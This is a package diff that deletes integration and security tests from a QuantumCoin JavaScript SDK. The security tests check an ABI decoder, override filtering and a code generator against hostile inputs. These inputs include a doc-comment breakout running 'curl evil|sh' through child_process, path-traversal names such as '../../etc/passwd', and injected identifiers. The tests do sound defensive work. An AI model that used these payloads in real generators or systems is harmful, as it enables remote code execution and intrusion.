quantumcoin 7.0.15 → 8.0.1

package/test/integration/provider.test.ts

@@ -1,85 +0,0 @@
-/**
- * @testCategory integration
- * @blockchainRequired readonly
- * @transactional false
- * @description Read-only integration tests. Endpoint from QC_ENDPOINT or QC_RPC_URL (default: public RPC).
- */
-
-import { describe, it } from "node:test";
-import assert from "node:assert/strict";
-
-import { Initialize } from "../../config";
-import qc from "../../index";
-import { logSuite, logTest, logAddress } from "../verbose-logger";
-
-const DEFAULT_RPC = "https://public.rpc.quantumcoinapi.com";
-const CHAIN_ID = 123123;
-const STAKING_CONTRACT = "0x" + "00".repeat(30) + "10" + "00";
-
-const ENDPOINT = process.env.QC_ENDPOINT || process.env.QC_RPC_URL || DEFAULT_RPC;
-const isPublicRpc = ENDPOINT === DEFAULT_RPC;
-
-describe("Provider (readonly)", () => {
-  it("getBlockNumber returns a block number", async (t: { skip: (msg: string) => void }) => {
-    logSuite("Provider (readonly)");
-    logTest("getBlockNumber returns a block number", { endpoint: ENDPOINT, chainId: CHAIN_ID });
-    const provider = qc.getProvider(ENDPOINT, CHAIN_ID);
-    try {
-      const bn = await provider.getBlockNumber();
-      logTest("getBlockNumber returns a block number", { blockNumber: bn });
-      assert.ok(Number.isInteger(bn) && bn >= 0);
-      if (isPublicRpc) assert.ok(bn > 3000000, "public chain height");
-    } catch (e) {
-      t.skip(`network unavailable: ${e && (e as Error).message ? (e as Error).message : String(e)}`);
-    }
-  });
-
-  it("getBlock('latest') works", async (t: { skip: (msg: string) => void }) => {
-    logTest("getBlock('latest') works", {});
-    const provider = qc.getProvider(ENDPOINT, CHAIN_ID);
-    try {
-      const latest = await provider.getBlockNumber();
-      const block = await provider.getBlock("latest");
-      logTest("getBlock('latest') works", { blockNumber: block.number, blockHash: block.hash });
-      assert.ok(block && typeof block === "object");
-      assert.ok(typeof block.number === "number" && block.number >= latest);
-      if (isPublicRpc && latest >= 3386000) {
-        const b = await provider.getBlock(3386000);
-        assert.equal(b.number, 3386000);
-      }
-    } catch (e) {
-      t.skip(`network unavailable: ${e && (e as Error).message ? (e as Error).message : String(e)}`);
-    }
-  });
-
-  it("getBalance works for an address", async (t: { skip: (msg: string) => void }) => {
-    logTest("getBalance works for an address", {});
-    logAddress("staking_contract", STAKING_CONTRACT);
-    const provider = qc.getProvider(ENDPOINT, CHAIN_ID);
-    try {
-      const bal = await provider.getBalance(STAKING_CONTRACT);
-      logTest("getBalance works for an address", { balance: bal.toString() });
-      assert.equal(typeof bal, "bigint");
-      assert.ok(bal >= 0n);
-    } catch (e) {
-      t.skip(`network unavailable: ${e && (e as Error).message ? (e as Error).message : String(e)}`);
-    }
-  });
-
-  it("contract read operations work (staking contract when available)", async (t: { skip: (msg: string) => void }) => {
-    logTest("contract read operations work (staking contract when available)", {});
-    logAddress("staking_contract", STAKING_CONTRACT);
-    await Initialize(null);
-    const provider = qc.getProvider(ENDPOINT, CHAIN_ID);
-    try {
-      const abi = require("../fixtures/StakingContract.abi.json");
-      const contract = new qc.Contract(STAKING_CONTRACT, abi, provider);
-      const count = await contract.getDepositorCount();
-      const value = Array.isArray(count) ? count[0] : count;
-      logTest("contract read operations work", { depositorCount: value != null ? String(value) : null });
-      assert.ok(value != null);
-    } catch (e) {
-      t.skip(`network/ABI unavailable: ${e && (e as Error).message ? (e as Error).message : String(e)}`);
-    }
-  });
-});

package/test/integration/ws-provider.test.js

@@ -1,41 +0,0 @@
-/**
- * @testCategory integration
- * @blockchainRequired readonly
- * @transactional false
- * @description Read-only WebSocket JSON-RPC integration tests (validates WebSocketProvider only).
- * Skipped when QC_ENDPOINT is set (e.g. running integration tests over IPC).
- * Run with VERBOSE=1 for test names, block number/hash.
- */
-
-const { describe, it } = require("node:test");
-const assert = require("node:assert/strict");
-
-const qc = require("../../index");
-const { logSuite, logTest } = require("../verbose-logger");
-
-const WS = process.env.QC_WS_URL || "ws://127.0.0.1:8546";
-const skipBecauseOtherEndpoint = process.env.QC_ENDPOINT != null && process.env.QC_ENDPOINT !== "";
-
-describe("WebSocketProvider (readonly)", { skip: skipBecauseOtherEndpoint }, () => {
-  it("getBlockNumber and getBlock('latest') work over WebSocket", async (t) => {
-    logSuite("WebSocketProvider (readonly)");
-    logTest("getBlockNumber and getBlock('latest') work over WebSocket", { endpoint: WS });
-    const provider = qc.getProvider(WS);
-    try {
-      const bn = await provider.getBlockNumber();
-      logTest("getBlockNumber (ws)", { blockNumber: bn });
-      assert.ok(Number.isInteger(bn) && bn >= 0);
-
-      const latest = await provider.getBlock("latest");
-      logTest("getBlock('latest') (ws)", { blockNumber: latest.number, blockHash: latest.hash });
-      assert.ok(latest && typeof latest === "object");
-      assert.ok(typeof latest.number === "number" && latest.number >= bn);
-      assert.ok(latest.hash == null || typeof latest.hash === "string");
-    } catch (e) {
-      t.skip(`WebSocket endpoint unavailable (${WS}): ${e && e.message ? e.message : String(e)}`);
-    } finally {
-      if (provider && typeof provider.destroy === "function") provider.destroy();
-    }
-  });
-});
-

package/test/integration/ws-provider.test.ts

@@ -1,38 +0,0 @@
-/**
- * @testCategory integration
- * @blockchainRequired readonly
- * @transactional false
- * @description Read-only WebSocket JSON-RPC integration tests (validates WebSocketProvider only).
- */
-
-import { describe, it } from "node:test";
-import assert from "node:assert/strict";
-
-import qc from "../../index";
-import { logSuite, logTest } from "../verbose-logger";
-
-const WS = process.env.QC_WS_URL || "ws://127.0.0.1:8546";
-const skipBecauseOtherEndpoint = process.env.QC_ENDPOINT != null && process.env.QC_ENDPOINT !== "";
-
-describe("WebSocketProvider (readonly)", { skip: skipBecauseOtherEndpoint }, () => {
-  it("getBlockNumber and getBlock('latest') work over WebSocket", async (t: { skip: (msg: string) => void }) => {
-    logSuite("WebSocketProvider (readonly)");
-    logTest("getBlockNumber and getBlock('latest') work over WebSocket", { endpoint: WS });
-    const provider = qc.getProvider(WS);
-    try {
-      const bn = await provider.getBlockNumber();
-      logTest("getBlockNumber (ws)", { blockNumber: bn });
-      assert.ok(Number.isInteger(bn) && bn >= 0);
-
-      const latest = await provider.getBlock("latest");
-      logTest("getBlock('latest') (ws)", { blockNumber: latest.number, blockHash: latest.hash });
-      assert.ok(latest && typeof latest === "object");
-      assert.ok(typeof latest.number === "number" && latest.number >= bn);
-      assert.ok(latest.hash == null || typeof latest.hash === "string");
-    } catch (e) {
-      t.skip(`WebSocket endpoint unavailable (${WS}): ${e && (e as Error).message ? (e as Error).message : String(e)}`);
-    } finally {
-      if (provider && typeof provider.destroy === "function") provider.destroy();
-    }
-  });
-});

package/test/security/abi-decoder-bounds.test.js

@@ -1,122 +0,0 @@
-/**
- * @testCategory security
- * @blockchainRequired false
- * @transactional false
- * @description The pure-JS ABI decoder must bound dynamic array/bytes/string
- *              lengths against the available data so a hostile RPC response cannot
- *              trigger huge allocations or silent truncation.
- */
-
-const { describe, it } = require("node:test");
-const assert = require("node:assert/strict");
-
-const jsAbi = require("../../src/abi/js-abi-coder");
-const { logSuite, logTest } = require("../verbose-logger");
-
-function num(n) {
-  return BigInt(n).toString(16).padStart(64, "0");
-}
-
-describe("Security: ABI decoder allocation bounds", () => {
-  logSuite("Security: ABI decoder allocation bounds");
-
-  it("rejects a dynamic array declaring more elements than the data can hold (negative)", () => {
-    logTest("rejects an over-long dynamic array length", {});
-    // head: offset(0x20) -> tail: huge length, no element data
-    const data = "0x" + num(32) + num(1_000_000);
-    assert.throws(
-      () => jsAbi.decodeFunctionResult([{ type: "uint256[]" }], data),
-      /array length exceeds available data/i,
-    );
-  });
-
-  it("rejects dynamic bytes declaring more than the data can hold (negative)", () => {
-    logTest("rejects an over-long bytes length", {});
-    const data = "0x" + num(32) + num(1_000_000);
-    assert.throws(
-      () => jsAbi.decodeFunctionResult([{ type: "bytes" }], data),
-      /bytes length exceeds available data/i,
-    );
-  });
-
-  it("rejects a string declaring more than the data can hold (negative)", () => {
-    logTest("rejects an over-long string length", {});
-    const data = "0x" + num(32) + num(1_000_000);
-    assert.throws(
-      () => jsAbi.decodeFunctionResult([{ type: "string" }], data),
-      /string length exceeds available data/i,
-    );
-  });
-
-  it("decodes a well-formed dynamic array (positive)", () => {
-    logTest("decodes a well-formed dynamic array", {});
-    const data = "0x" + num(32) + num(2) + num(1) + num(2);
-    const [arr] = jsAbi.decodeFunctionResult([{ type: "uint256[]" }], data);
-    assert.deepEqual(arr, [1n, 2n]);
-  });
-
-  it("decodes well-formed dynamic bytes (positive)", () => {
-    logTest("decodes well-formed dynamic bytes", {});
-    // length 3, value 0x010203 left-aligned in the data word
-    const data = "0x" + num(32) + num(3) + "010203".padEnd(64, "0");
-    const [bytes] = jsAbi.decodeFunctionResult([{ type: "bytes" }], data);
-    assert.equal(bytes, "0x010203");
-  });
-});
-
-describe("Security: ABI decoder static reads, offset aliasing & fixed arrays", () => {
-  logSuite("Security: ABI decoder static reads, offset aliasing & fixed arrays");
-
-  it("rejects a static word read past the end of the data (negative)", () => {
-    logTest("rejects an out-of-bounds static uint256 read", {});
-    // Truncated data (10 bytes < one 32-byte word): previously _readWordAsBigInt
-    // silently sliced a short array and returned a corrupted/zero value.
-    const data = "0x" + "12".repeat(10);
-    assert.throws(() => jsAbi.decodeFunctionResult([{ type: "uint256" }], data), /read past end of data/i);
-  });
-
-  it("rejects an out-of-bounds static address read (negative)", () => {
-    logTest("rejects an out-of-bounds static address read", {});
-    const data = "0x" + "12".repeat(10);
-    assert.throws(() => jsAbi.decodeFunctionResult([{ type: "address" }], data), /read past end of data/i);
-  });
-
-  it("rejects a dynamic offset that points back into the head region / aliasing (negative)", () => {
-    logTest("rejects a dynamic offset aliasing into the head", {});
-    // Single dynamic param; head word holds offset 0 (< headSize 32).
-    const data = "0x" + num(0);
-    assert.throws(() => jsAbi.decodeFunctionResult([{ type: "bytes" }], data), /points into head region/i);
-  });
-
-  it("rejects a dynamic offset that points outside the data (negative)", () => {
-    logTest("rejects a dynamic offset out of bounds", {});
-    const data = "0x" + num(1_000_000);
-    assert.throws(() => jsAbi.decodeFunctionResult([{ type: "bytes" }], data), /dynamic offset out of bounds/i);
-  });
-
-  it("rejects an enormous fixed-array dimension before allocating (negative)", () => {
-    logTest("rejects an over-large fixed array length", {});
-    const data = "0x" + num(1);
-    assert.throws(
-      () => jsAbi.decodeFunctionResult([{ type: "uint256[1000000000]" }], data),
-      /fixed array length exceeds available data/i,
-    );
-  });
-
-  it("decodes well-formed static values (positive)", () => {
-    logTest("decodes well-formed static uint256 + address", {});
-    const addrWord = "00".repeat(31) + "ab"; // 32-byte word ending in 0xab
-    const data = "0x" + num(5) + addrWord;
-    const [n, addr] = jsAbi.decodeFunctionResult([{ type: "uint256" }, { type: "address" }], data);
-    assert.equal(n, 5n);
-    assert.equal(typeof addr, "string");
-    assert.ok(addr.toLowerCase().endsWith("ab"));
-  });
-
-  it("decodes a well-formed small fixed array (positive)", () => {
-    logTest("decodes a well-formed uint256[2]", {});
-    const data = "0x" + num(7) + num(8);
-    const [arr] = jsAbi.decodeFunctionResult([{ type: "uint256[2]" }], data);
-    assert.deepEqual(arr, [7n, 8n]);
-  });
-});

package/test/security/contract-overrides.test.js

@@ -1,112 +0,0 @@
-/**
- * @testCategory security
- * @blockchainRequired false
- * @transactional false
- * @description Contract override spoofing. A caller-supplied `overrides`
- *              object must never be able to redirect a contract call to a
- *              different address (`to`) or replace the encoded calldata (`data`).
- *              Allow-listed fields (value, gasLimit, ...) must still apply.
- */
-
-const { describe, it } = require("node:test");
-const assert = require("node:assert/strict");
-const fs = require("node:fs");
-const os = require("node:os");
-const path = require("node:path");
-
-const { Initialize } = require("../../config");
-const qc = require("../../index");
-const { generateFromArtifacts } = require("../../src/generator");
-const { logSuite, logTest } = require("../verbose-logger");
-
-const ABI = [
-  {
-    type: "function",
-    name: "transfer",
-    stateMutability: "nonpayable",
-    inputs: [
-      { name: "to", type: "address" },
-      { name: "amount", type: "uint256" },
-    ],
-    outputs: [{ name: "", type: "bool" }],
-  },
-];
-
-function _mockSigner() {
-  const captured = [];
-  return {
-    captured,
-    signTransaction: async () => "0x",
-    sendTransaction: async (tx) => {
-      captured.push(tx);
-      return { hash: "0x" + "22".repeat(32) };
-    },
-  };
-}
-
-describe("Security: contract override spoofing", () => {
-  logSuite("Security: contract override spoofing");
-
-  it("send() ignores overrides.to/data/from but applies value/gasLimit (negative + positive)", async () => {
-    logTest("send() ignores overrides.to/data/from but applies value/gasLimit", {});
-    await Initialize(null);
-
-    const contractAddr = qc.Wallet.createRandom().address;
-    const recipient = qc.Wallet.createRandom().address;
-    const evil = qc.Wallet.createRandom().address;
-
-    const signer = _mockSigner();
-    const c = new qc.Contract(contractAddr, ABI, signer);
-
-    await c.send("transfer", [recipient, 1n], {
-      to: evil, // must be ignored
-      data: "0xdeadbeef", // must be ignored
-      from: evil, // must be ignored
-      gasLimit: 99999, // must be applied
-      value: 5n, // must be applied
-      attackerKey: "x", // unknown key must be dropped
-    });
-
-    const tx = signer.captured[0];
-    assert.equal(tx.to, c.address, "to must be the contract address, not the attacker's");
-    assert.notEqual(tx.to, evil);
-    assert.notEqual(tx.data, "0xdeadbeef", "data must be the encoded call, not attacker data");
-    assert.ok(typeof tx.data === "string" && tx.data.startsWith("0x"));
-    assert.equal(tx.from, undefined, "from must not be injectable via overrides");
-    assert.equal(tx.gasLimit, 99999, "allow-listed gasLimit must apply");
-    assert.equal(tx.value, 5n, "allow-listed value must apply");
-    assert.ok(!("attackerKey" in tx), "unknown override keys must be dropped");
-  });
-
-  it("populateTransaction.<fn> protects to/data while keeping allow-listed fields", async () => {
-    logTest("populateTransaction.<fn> protects to/data while keeping allow-listed fields", {});
-    await Initialize(null);
-    const contractAddr = qc.Wallet.createRandom().address;
-    const recipient = qc.Wallet.createRandom().address;
-    const evil = qc.Wallet.createRandom().address;
-    const c = new qc.Contract(contractAddr, ABI);
-
-    const tx = await c.populateTransaction.transfer(recipient, 1n, { to: evil, data: "0xbad", gasLimit: 7 });
-    assert.equal(tx.to, c.address);
-    assert.notEqual(tx.data, "0xbad");
-    assert.equal(tx.gasLimit, 7);
-  });
-
-  it("generated factory/contract templates filter overrides (source-level assertion)", () => {
-    logTest("generated factory/contract templates filter overrides", {});
-    const tmp = fs.mkdtempSync(path.join(os.tmpdir(), "qcgen-ov-"));
-    const outDir = path.join(tmp, "out");
-    const abi = [
-      { type: "constructor", stateMutability: "nonpayable", inputs: [] },
-      ...ABI,
-    ];
-    const res = generateFromArtifacts({ outDir, lang: "ts", artifacts: [{ contractName: "Tok", abi, bytecode: "0x6000" }] });
-    const factorySrc = fs.readFileSync(res.contracts[0].factoryFile, "utf8");
-    const contractSrc = fs.readFileSync(res.contracts[0].contractFile, "utf8");
-    // The unsafe spread of raw overrides must be gone.
-    assert.ok(!factorySrc.includes("...(overrides || {})"), "factory must not spread raw overrides");
-    assert.ok(!contractSrc.includes("...(overrides || {})"), "contract must not spread raw overrides");
-    assert.ok(factorySrc.includes("safeOverrides"), "factory must use the override allow-list");
-    assert.ok(contractSrc.includes("safeOverrides"), "contract must use the override allow-list");
-  });
-});

package/test/security/generator-injection.test.js

@@ -1,195 +0,0 @@
-/**
- * @testCategory security
- * @blockchainRequired false
- * @transactional false
- * @description Code-injection and path-traversal protections in the SDK
- *              generator. Attacker-controlled contract/function names (and tuple
- *              names derived from internalType) must never break out of the
- *              generated source or escape the output directory.
- */
-
-const { describe, it } = require("node:test");
-const assert = require("node:assert/strict");
-const fs = require("node:fs");
-const os = require("node:os");
-const path = require("node:path");
-
-const {
-  generate,
-  generateFromArtifacts,
-  generateTransactionalTestJs,
-  assertSafeIdentifier,
-} = require("../../src/generator");
-const { logSuite, logTest } = require("../verbose-logger");
-
-function _tmpOut() {
-  const tmp = fs.mkdtempSync(path.join(os.tmpdir(), "qcgen-inj-"));
-  return path.join(tmp, "out");
-}
-
-describe("Security: generator code-injection & path-traversal", () => {
-  logSuite("Security: generator code-injection & path-traversal");
-
-  it("assertSafeIdentifier rejects breakout strings and reserved words", () => {
-    logTest("assertSafeIdentifier rejects breakout strings and reserved words", {});
-    assert.throws(() => assertSafeIdentifier('Evil"; console.log(1); //', "contract name"));
-    assert.throws(() => assertSafeIdentifier("../../etc/passwd", "contract name"));
-    assert.throws(() => assertSafeIdentifier("with-dash", "contract name"));
-    assert.throws(() => assertSafeIdentifier("__proto__", "contract name"));
-    assert.throws(() => assertSafeIdentifier("class", "contract name"));
-    assert.throws(() => assertSafeIdentifier("", "contract name"));
-    assert.throws(() => assertSafeIdentifier(123, "contract name"));
-    // Positive: valid identifiers are returned unchanged.
-    assert.equal(assertSafeIdentifier("TestToken", "contract name"), "TestToken");
-    assert.equal(assertSafeIdentifier("_balanceOf$2", "fn"), "_balanceOf$2");
-  });
-
-  it("rejects a malicious contractName (negative)", () => {
-    logTest("rejects a malicious contractName (negative)", {});
-    const abi = [{ type: "function", name: "ok", stateMutability: "view", inputs: [], outputs: [] }];
-    assert.throws(
-      () =>
-        generateFromArtifacts({
-          outDir: _tmpOut(),
-          lang: "ts",
-          artifacts: [{ contractName: 'Evil { static x = require("child_process"); } //', abi, bytecode: "0x00" }],
-        }),
-      /Unsafe contract name|reserved word/i,
-    );
-  });
-
-  it("rejects a path-traversal contractName (negative)", () => {
-    logTest("rejects a path-traversal contractName (negative)", {});
-    const abi = [{ type: "function", name: "ok", stateMutability: "view", inputs: [], outputs: [] }];
-    assert.throws(
-      () =>
-        generateFromArtifacts({
-          outDir: _tmpOut(),
-          lang: "ts",
-          artifacts: [{ contractName: "../../evil", abi, bytecode: "0x00" }],
-        }),
-      /Unsafe contract name/i,
-    );
-  });
-
-  it("rejects a malicious ABI function name (negative)", () => {
-    logTest("rejects a malicious ABI function name (negative)", {});
-    const abi = [
-      { type: "function", name: 'foo(){}; const x = 1; bar', stateMutability: "view", inputs: [], outputs: [] },
-    ];
-    assert.throws(
-      () =>
-        generateFromArtifacts({
-          outDir: _tmpOut(),
-          lang: "ts",
-          artifacts: [{ contractName: "Good", abi, bytecode: "0x00" }],
-        }),
-      /Unsafe ABI function name/i,
-    );
-    // Also covered by the transactional-test generator entry point.
-    assert.throws(
-      () => generateTransactionalTestJs({ contractName: "Good", abi, bytecode: "0x00" }),
-      /Unsafe ABI function name/i,
-    );
-  });
-
-  it("sanitizes malicious tuple names derived from internalType (negative-input, safe-output)", () => {
-    logTest("sanitizes malicious tuple names derived from internalType", {});
-    const outDir = _tmpOut();
-    const abi = [
-      {
-        type: "function",
-        name: "getStruct",
-        stateMutability: "view",
-        inputs: [],
-        outputs: [
-          {
-            name: "s",
-            type: "tuple",
-            internalType: 'struct Evil"]; const pwned = 1; //[',
-            components: [{ name: "a", type: "uint256" }],
-          },
-        ],
-      },
-    ];
-    const res = generateFromArtifacts({ outDir, lang: "ts", artifacts: [{ contractName: "Holder", abi, bytecode: "0x00" }] });
-    const contractSrc = fs.readFileSync(res.contracts[0].contractFile, "utf8");
-    // The tuple type name is derived from the attacker-controlled internalType.
-    // It MUST be emitted as a valid, sanitized TS identifier (the raw payload may
-    // only survive inside the escaped ABI JSON string literal, never as code).
-    const typeDecls = [...contractSrc.matchAll(/export type ([^\s=]+)\s*=/g)].map((m) => m[1]);
-    assert.ok(typeDecls.length >= 1, "a struct type should be generated");
-    for (const id of typeDecls) {
-      assert.match(id, /^[A-Za-z_$][A-Za-z0-9_$]*$/, `tuple type identifier must be sanitized: ${id}`);
-    }
-  });
-
-  it("neutralizes a NatSpec doc-comment breakout in contract & function docs (negative)", () => {
-    logTest("neutralizes a NatSpec doc-comment breakout", {});
-    const payload = `Legit text */ require('child_process').execSync('curl evil|sh'); /* keep`;
-    const abi = [{ type: "function", name: "transfer", stateMutability: "nonpayable", inputs: [], outputs: [] }];
-    const docs = { contract: payload, functions: { transfer: payload } };
-
-    for (const lang of ["ts", "js"]) {
-      const res = generateFromArtifacts({
-        outDir: _tmpOut(),
-        lang,
-        artifacts: [{ contractName: "Doc", abi, bytecode: "0x00", docs }],
-      });
-      const src = fs.readFileSync(res.contracts[0].contractFile, "utf8");
-      // The comment terminator must be neutralized so it cannot close the JSDoc
-      // block early; the payload may only survive as inert comment text.
-      assert.ok(!src.includes("*/ require"), `[${lang}] doc breakout must be neutralized`);
-      assert.ok(src.includes("* /"), `[${lang}] escaped terminator should be present`);
-      // Belt-and-suspenders: every '*/' in the file must be a real JSDoc close,
-      // i.e. it is the last non-space token on its line (' */').
-      for (const line of src.split(/\r?\n/g)) {
-        const idx = line.indexOf("*/");
-        if (idx !== -1) {
-          assert.match(line.trimEnd(), /\*\/$/, `unexpected mid-line */ (possible breakout): ${line}`);
-        }
-      }
-    }
-  });
-
-  it("renders a benign NatSpec doc normally (positive)", () => {
-    logTest("renders a benign NatSpec doc normally", {});
-    const abi = [{ type: "function", name: "transfer", stateMutability: "nonpayable", inputs: [], outputs: [] }];
-    const docs = { contract: "Transfers tokens between accounts.", functions: { transfer: "Moves amount to recipient." } };
-    const res = generateFromArtifacts({
-      outDir: _tmpOut(),
-      lang: "ts",
-      artifacts: [{ contractName: "Doc", abi, bytecode: "0x00", docs }],
-    });
-    const src = fs.readFileSync(res.contracts[0].contractFile, "utf8");
-    assert.ok(src.includes("* Transfers tokens between accounts."), "benign contract doc should render");
-    assert.ok(src.includes("* Moves amount to recipient."), "benign function doc should render");
-  });
-
-  it("generates valid output and preserves legitimate identifiers (positive)", () => {
-    logTest("generates valid output and preserves legitimate identifiers (positive)", {});
-    const tmp = fs.mkdtempSync(path.join(os.tmpdir(), "qcgen-ok-"));
-    const abiPath = path.join(tmp, "Test.abi.json");
-    const binPath = path.join(tmp, "Test.bin");
-    const outDir = path.join(tmp, "out");
-    const abi = [
-      {
-        type: "function",
-        name: "balanceOf",
-        stateMutability: "view",
-        inputs: [{ name: "account", type: "address" }],
-        outputs: [{ name: "", type: "uint256" }],
-      },
-    ];
-    fs.writeFileSync(abiPath, JSON.stringify(abi), "utf8");
-    fs.writeFileSync(binPath, "0x6000", "utf8");
-    const res = generate({ abiPath, binPath, outDir, contractName: "TestToken" });
-    const src = fs.readFileSync(res.contractFile, "utf8");
-    assert.ok(src.includes("export class TestToken"));
-    assert.ok(src.includes("async balanceOf"));
-    // All generated files must live inside outDir (no traversal).
-    for (const f of [res.contractFile, res.factoryFile, res.typesFile, res.indexFile]) {
-      assert.ok(path.resolve(f).startsWith(path.resolve(outDir)), `${f} must be inside outDir`);
-    }
-  });
-});